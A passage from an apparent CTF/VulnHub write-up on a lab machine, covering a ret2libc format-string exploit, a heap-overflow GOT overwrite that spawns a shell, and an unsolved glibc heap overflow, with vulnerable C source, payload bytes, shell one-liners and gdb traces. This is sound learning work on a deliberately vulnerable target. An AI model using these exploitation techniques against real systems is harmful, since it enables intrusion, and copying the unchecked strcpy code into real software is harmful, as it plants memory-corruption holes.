With the above, we can overwrite the GOT for puts with the address of __libc_system, but we still don't get command execution..bummer.. At this point, I was tearing my hair out. I decided to take a step back and do some reading. That's when I came across this classic article named Smashing The Stack. I realised, I was being a bit of a dummy.

Instead of overwriting the GOT for the sprintf or puts function, we can simply perform a classic ret2libc exploit, by overwriting the eip register and setting up the stack accordingly. Our payload looks like this.

payload = "%76x\xe0\x43\xe6\xb7" # Overwrite eip with address to __libc_system
payload += "\xb0\x71\xe5\x08" # Return address (exit)
payload += "\x69\x5a\xf8\xb7" # Address of "/bin/bash" string within libc

Putting this all together, I fire it off to the binary as the first argument.

tux@tux:~/0x06$ ./pwnme `python -c 'print "%76x\xe0\x43\xe6\xb7\x69\x5a\xf8\xb7\x69\x5a\xf8\xb7"'`
                                                                     2c0003f�C�iZ�iZ�
$ id
uid=1000(tux) gid=1000(tux) groups=1000(tux),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev)

Awesome! Note to self - don't over think things.

0x07

// gcc -fno-stack-protector pwnme.c -o pwnme
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

struct member {
    int id;
    char *name;
} member;

void main(int argc, char **argv)
{
    struct member *m1, *m2, *m3;

    m1 = malloc(sizeof(struct member));
    m1->id = 1;
    m1->name = malloc(8);

    m2 = malloc(sizeof(struct member));
    m2->id = 2;
    m2->name = malloc(8);

    strcpy(m1->name, argv[1]);
    strcpy(m2->name, argv[2]);

    exit(0);
}

So, the time has come to smash the heap. Here be dragons.

Before I start, I'm going to admit that most of the tutorial included for exploiting heap overflows went completely over my head. Maybe I need to read through it a few more times, maybe I'm just not ready for it yet. That aside, let's get dirty.

We've two instances of the member structure that have memory allocated for them. These each have a further 8 bytes of memory allocated to their name property. Once these allocations have been performed, the strings from the first and second arguments are copied into their respective instances with no length checking. We're in overflow country.

Now, what I'm about to say may be completely incorrect, but here goes anyway.

By overflowing the first instance of the member structure with input from the first argument, we are able to overwrite the address of the name property in the second instance. When we then attempt to copy into the name property of the second instance the string from the second argument, we'll actually be copying it in to the address defined by our first overflow, giving us the ability to write to any location in memory (that is writable) an arbitrary string. The below test would attempt to write CCCC to the address BBBB.

./pwnme `python -c 'print "A" * 20 + "BBBB" + " " + "CCCC"'`

How do we get from this to a shell? Well, first I checked the security on the binary - it'd be nice if we could jump to some shell code. NX enabled, damn. It's ok, we like a challenge.

Next, I start to work on overwriting the GOT entry for the exit function. After some playing, I come up with a working proof of concept. This will overwrite the GOT entry for the exit function (at 0x08049794) with the address of the __libc_system function (at 0xb7e643e0).

./pwnme `python -c 'print "A" * 20 + "\x94\x97\x04\x08" + " " + "\xe0\x43\xe6\xb7"'`

Of course, the above is not really much use to us, as the stack at this point is in a completely useless state for executing __libc_system.

Due to the methods used in the main function (malloc, strcpy and exit), I found that we could overwrite all three GOT entries for these functions in one fell swoop, allowing us to control WHERE exit goes, and WHAT strcpy calls. The below snippet from objdump -d pwnme shows how this is possible. We simply provide a string with the correct bytes to overwrite the GOT entry for strcpy, followed by malloc, __gmon_start__ and finally exit. We don't actually change the GOT entry for malloc or __gmon_start__ - they're just casualties of war.

08048310 <strcpy@plt>:
 8048310:    ff 25 88 97 04 08        jmp    *0x8049788
 8048316:    68 00 00 00 00           push   $0x0
 804831b:    e9 e0 ff ff ff           jmp    8048300 <_init+0x2c>

08048320 <malloc@plt>:
 8048320:    ff 25 8c 97 04 08        jmp    *0x804978c
 8048326:    68 08 00 00 00           push   $0x8
 804832b:    e9 d0 ff ff ff           jmp    8048300 <_init+0x2c>

08048330 <__gmon_start__@plt>:
 8048330:    ff 25 90 97 04 08        jmp    *0x8049790
 8048336:    68 10 00 00 00           push   $0x10
 804833b:    e9 c0 ff ff ff           jmp    8048300 <_init+0x2c>

08048340 <exit@plt>:
 8048340:    ff 25 94 97 04 08        jmp    *0x8049794
 8048346:    68 18 00 00 00           push   $0x18
 804834b:    e9 b0 ff ff ff           jmp    8048300 <_init+0x2c>

Moving on, I decide that I want to overwrite the GOT for strcpy to point to __libc_system, and exit with a location within main that will allow us to setup our stack prior to the a call to strcpy, so that we can execute an arbitrary command.

How did I decide upon the position within main to jump to? I got lucky. I started before the setup for the first call to strcpy, which failed. I then proceeded to shift the position back to before any other stack setup was performed for other calls, and repeated until I got valid stack setup. Not a great approach, but I'm going to re-visit this solution and try to learn more from it. I hate not knowing why a solution works - especially my own!

Our payload looks a little something like this.

payload = "sh;#" # The command we want to execute
payload += "A" * 16 # Padding to reach the pointer for the second instances name property
payload += "\x88\x97\x04\x08" # The address for the GOT entry of the strcpy function
payload += " " # End of argument the first
payload += "\xe0\x43\xe6\xb7" # Address of __libc_system - overwriting the GOT entry of the strcpy function
payload += "\x26\x83\x04\x08" # Original address of GOT entry of the malloc function
payload += "\x36\x83\x04\x08" # Original address of the GOT entry of the __gmon_start__ function
payload += "\xb9\x84\x04\x08" # Address of main+94 - overwriting the GOT entry of the exit function

Here's a rather lengthy output from gdb, demonstrating the first call to strcpy, followed by the second, by which time our stack has been sufficiently setup prior to the call to __libc_system by the manipulated GOT entry for strcpy.

tux@tux:~/0x07$ gdb -q ./pwnme
Reading symbols from ./pwnme...(no debugging symbols found)...done.
gdb-peda$ break *main+131
Breakpoint 1 at 0x80484de
gdb-peda$ run `python -c 'print "sh;#" + "A" * 16 + "\x88\x97\x04\x08" + " " + "\xe0\x43\xe6\xb7\x26\x83\x04\x08\x36\x83\x04\x08\xb9\x84\x04\x08"'`
Starting program: /home/tux/0x07/pwnme `python -c 'print "sh;#" + "A" * 16 + "\x88\x97\x04\x08" + " " + "\xe0\x43\xe6\xb7\x26\x83\x04\x08\x36\x83\x04\x08\xb9\x84\x04\x08"'`
[----------------------------------registers-----------------------------------]
EAX: 0x804a018 --> 0x0
EBX: 0xbffff700 --> 0x3
ECX: 0xb7fcf420 --> 0x0
EDX: 0xbffff8cc ("sh;#", 'A' <repeats 16 times>, "\210\227\004\b")
ESI: 0x0
EDI: 0x0
EBP: 0xbffff6e8 --> 0x0
ESP: 0xbffff6c0 --> 0x804a018 --> 0x0
EIP: 0x80484de (<main+131>:    call   0x8048310 <strcpy@plt>)
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x80484d9 <main+126>:    sub    esp,0x8
   0x80484dc <main+129>:    push   edx
   0x80484dd <main+130>:    push   eax
=> 0x80484de <main+131>:    call   0x8048310 <strcpy@plt>
   0x80484e3 <main+136>:    add    esp,0x10
   0x80484e6 <main+139>:    mov    eax,DWORD PTR [ebx+0x4]
   0x80484e9 <main+142>:    add    eax,0x8
   0x80484ec <main+145>:    mov    edx,DWORD PTR [eax]
Guessed arguments:
arg[0]: 0x804a018 --> 0x0
arg[1]: 0xbffff8cc ("sh;#", 'A' <repeats 16 times>, "\210\227\004\b")
[------------------------------------stack-------------------------------------]
0000| 0xbffff6c0 --> 0x804a018 --> 0x0
0004| 0xbffff6c4 --> 0xbffff8cc ("sh;#", 'A' <repeats 16 times>, "\210\227\004\b")
0008| 0xbffff6c8 --> 0x804977c --> 0x8049690 --> 0x1
0012| 0xbffff6cc --> 0x8048562 (<__libc_csu_init+82>:    add    edi,0x1)
0016| 0xbffff6d0 --> 0x3
0020| 0xbffff6d4 --> 0xbffff794 --> 0xbffff8b7 ("/home/tux/0x07/pwnme")
0024| 0xbffff6d8 --> 0x804a028 --> 0x2
0028| 0xbffff6dc --> 0x804a008 --> 0x1
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x080484de in main ()
gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0x804a018 ("sh;#", 'A' <repeats 16 times>, "H\240\004\b")
EBX: 0xbffff700 --> 0x3
ECX: 0xb7fcf420 --> 0x0
EDX: 0xbffff8cc ("sh;#", 'A' <repeats 16 times>, "\210\227\004\b")
ESI: 0x0
EDI: 0x0
EBP: 0xbffff6e8 --> 0x0
ESP: 0xbffff6b8 --> 0x804a018 ("sh;#", 'A' <repeats 16 times>, "H\240\004\b")
EIP: 0x80484de (<main+131>:    call   0x8048310 <strcpy@plt>)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x80484d9 <main+126>:    sub    esp,0x8
   0x80484dc <main+129>:    push   edx
   0x80484dd <main+130>:    push   eax
=> 0x80484de <main+131>:    call   0x8048310 <strcpy@plt>
   0x80484e3 <main+136>:    add    esp,0x10
   0x80484e6 <main+139>:    mov    eax,DWORD PTR [ebx+0x4]
   0x80484e9 <main+142>:    add    eax,0x8
   0x80484ec <main+145>:    mov    edx,DWORD PTR [eax]
Guessed arguments:
arg[0]: 0x804a018 ("sh;#", 'A' <repeats 16 times>, "H\240\004\b")
arg[1]: 0xbffff8cc ("sh;#", 'A' <repeats 16 times>, "\210\227\004\b")
[------------------------------------stack-------------------------------------]
0000| 0xbffff6b8 --> 0x804a018 ("sh;#", 'A' <repeats 16 times>, "H\240\004\b")
0004| 0xbffff6bc --> 0xbffff8cc ("sh;#", 'A' <repeats 16 times>, "\210\227\004\b")
0008| 0xbffff6c0 --> 0x0
0012| 0xbffff6c4 --> 0xbffff8e5 --> 0xb7e643e0 (<__libc_system>:    push   ebx)
0016| 0xbffff6c8 --> 0x804977c --> 0x8049690 --> 0x1
0020| 0xbffff6cc --> 0x8048562 (<__libc_csu_init+82>:    add    edi,0x1)
0024| 0xbffff6d0 --> 0x3
0028| 0xbffff6d4 --> 0xbffff794 --> 0xbffff8b7 ("/home/tux/0x07/pwnme")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x080484de in main ()
gdb-peda$ si
[----------------------------------registers-----------------------------------]
EAX: 0x804a018 ("sh;#", 'A' <repeats 16 times>, "H\240\004\b")
EBX: 0xbffff700 --> 0x3
ECX: 0xb7fcf420 --> 0x0
EDX: 0xbffff8cc ("sh;#", 'A' <repeats 16 times>, "\210\227\004\b")
ESI: 0x0
EDI: 0x0
EBP: 0xbffff6e8 --> 0x0
ESP: 0xbffff6b4 --> 0x80484e3 (<main+136>:    add    esp,0x10)
EIP: 0x8048310 (<strcpy@plt>:    jmp    DWORD PTR ds:0x8049788)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048306:    jmp    DWORD PTR ds:0x8049784
   0x804830c:    add    BYTE PTR [eax],al
   0x804830e:    add    BYTE PTR [eax],al
=> 0x8048310 <strcpy@plt>:    jmp    DWORD PTR ds:0x8049788
 | 0x8048316 <strcpy@plt+6>:    push   0x0
 | 0x804831b <strcpy@plt+11>:    jmp    0x8048300
 | 0x8048320 <malloc@plt>:    jmp    DWORD PTR ds:0x804978c
 | 0x8048326 <malloc@plt+6>:    push   0x8
 |->   0xb7e643e0 <__libc_system>:    push   ebx
       0xb7e643e1 <__libc_system+1>:    sub    esp,0x8
       0xb7e643e4 <__libc_system+4>:    mov    eax,DWORD PTR [esp+0x10]
       0xb7e643e8 <__libc_system+8>:    call   0xb7f4ba1b <__x86.get_pc_thunk.bx>
                                                                  JUMP is taken
[------------------------------------stack-------------------------------------]
0000| 0xbffff6b4 --> 0x80484e3 (<main+136>:    add    esp,0x10)
0004| 0xbffff6b8 --> 0x804a018 ("sh;#", 'A' <repeats 16 times>, "H\240\004\b")
0008| 0xbffff6bc --> 0xbffff8cc ("sh;#", 'A' <repeats 16 times>, "\210\227\004\b")
0012| 0xbffff6c0 --> 0x0
0016| 0xbffff6c4 --> 0xbffff8e5 --> 0xb7e643e0 (<__libc_system>:    push   ebx)
0020| 0xbffff6c8 --> 0x804977c --> 0x8049690 --> 0x1
0024| 0xbffff6cc --> 0x8048562 (<__libc_csu_init+82>:    add    edi,0x1)
0028| 0xbffff6d0 --> 0x3
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08048310 in strcpy@plt ()
gdb-peda$ si
[----------------------------------registers-----------------------------------]
EAX: 0x804a018 ("sh;#", 'A' <repeats 16 times>, "H\240\004\b")
EBX: 0xbffff700 --> 0x3
ECX: 0xb7fcf420 --> 0x0
EDX: 0xbffff8cc ("sh;#", 'A' <repeats 16 times>, "\210\227\004\b")
ESI: 0x0
EDI: 0x0
EBP: 0xbffff6e8 --> 0x0
ESP: 0xbffff6b4 --> 0x80484e3 (<main+136>:    add    esp,0x10)
EIP: 0xb7e643e0 (<__libc_system>:    push   ebx)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0xb7e643dc <cancel_handler+220>:    pop    edi
   0xb7e643dd <cancel_handler+221>:    ret
   0xb7e643de:    xchg   ax,ax
=> 0xb7e643e0 <__libc_system>:    push   ebx
   0xb7e643e1 <__libc_system+1>:    sub    esp,0x8
   0xb7e643e4 <__libc_system+4>:    mov    eax,DWORD PTR [esp+0x10]
   0xb7e643e8 <__libc_system+8>:    call   0xb7f4ba1b <__x86.get_pc_thunk.bx>
   0xb7e643ed <__libc_system+13>:    add    ebx,0x16ac13
[------------------------------------stack-------------------------------------]
0000| 0xbffff6b4 --> 0x80484e3 (<main+136>:    add    esp,0x10)
0004| 0xbffff6b8 --> 0x804a018 ("sh;#", 'A' <repeats 16 times>, "H\240\004\b")
0008| 0xbffff6bc --> 0xbffff8cc ("sh;#", 'A' <repeats 16 times>, "\210\227\004\b")
0012| 0xbffff6c0 --> 0x0
0016| 0xbffff6c4 --> 0xbffff8e5 --> 0xb7e643e0 (<__libc_system>:    push   ebx)
0020| 0xbffff6c8 --> 0x804977c --> 0x8049690 --> 0x1
0024| 0xbffff6cc --> 0x8048562 (<__libc_csu_init+82>:    add    edi,0x1)
0028| 0xbffff6d0 --> 0x3
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
__libc_system (line=0x804a018 "sh;#", 'A' <repeats 16 times>, "H\240\004\b") at ../sysdeps/posix/system.c:178

And finally, the exploit working on the command line.

tux@tux:~/0x07$ ./pwnme `python -c 'print "sh;#" + "A" * 16 + "\x88\x97\x04\x08" + " " + "\xe0\x43\xe6\xb7\x26\x83\x04\x08\x36\x83\x04\x08\xb9\x84\x04\x08"'`
$ id
uid=1000(tux) gid=1000(tux) groups=1000(tux),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev)

0x08

// gcc -fno-stack-protector pwnme.c -o pwnme
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void main(int argc, char **argv) {
        char *p1, *p2;

        p1 = malloc(64);
        p2 = malloc(64);

        strcpy(p1, argv[1]);

        free(p2);
        free(p1);

        exit(0);
}

So this looks like a classic heap overflow, however I'm going to throw my hands up and say that I just can't get my head around this. The version of glibc on the target is relatively recent at 2.19, which includes a lot of hardening techniques for the malloc and free methods, meaning that the techniques applicable to our vulnerable program are not (to my knowledge) usable.

Below is the structure of chunks allocated by malloc.

struct malloc_chunk {
  INTERNAL_SIZE_T      prev_size;  /* Size of previous chunk (if free).  */
  INTERNAL_SIZE_T      size;       /* Size in bytes, including overhead. */

  struct malloc_chunk* fd;         /* double links -- used only if free. */
  struct malloc_chunk* bk;

  /* Only used for large blocks: pointer to next larger size.  */
  struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
  struct malloc_chunk* bk_nextsize;
};

size is immediately followed (in non-free blocks) by the data.

If I understand the logic behind the intended attack, we need to overflow the heap during the call to strcpy, to fool the first free call in to modifying what it believes to be the fd or bk pointers in the previous (or falsified next?) chunk with the address of the system function. When I say believes, I mean that we must also fool free in to writing to the GOT pointer of the free or exit function. When I say falsified, I wonder if we can trick free in to believing the size of the current chunk is equal to that of the offset between the chunk for p2 and the GOT pointer for the free or exit functions.

I'm hoping that this is just down to me not fully understanding the techniques, and I am really looking forward to reading a successful exploitation of this binary. Learning is what it's all about at the end of the day. No shame in failure!

I've collected a small list of links that I found useful while investigating heap overflows, which I'll include below.

http://phrack.org/issues/66/10.html https://sploitfun.wordpress.com/2015/02/26/heap-overflow-using-unlink/ http://phrack.org/issues/66/6.html http://www.slideshare.net/AngelBoy1/heap-exploitation-51891400 http://yingkailiang.blogspot.co.uk/2014/01/heap-based-buffer-overflow-exploit.html https://gbmaster.wordpress.com/2014/08/11/x86-exploitation-101-heap-overflows-unlink-me-would-you-please/ http://homes.soic.indiana.edu/yh33/Teaching/I433-2016/lec13-HeapAttacks.pdf

Conclusions

Over all, I really enjoyed this machine. It had some nice challenges in it, was hard enough to require some learning, and helped me get my head around a couple of concepts that I've not touched on much before.

The final challenge - 0x08, the heap overflow - proved too much for me. I'm going to keep on reading, and see if I can figure out where I'm going wrong, what I need to do and how I can do it. I hate publishing an unfinished write up, but to be honest I'm at my wits end with this one.

Thank you canyoupwn.me for the great challenge, and as always, thank you VulnHub for hosting it!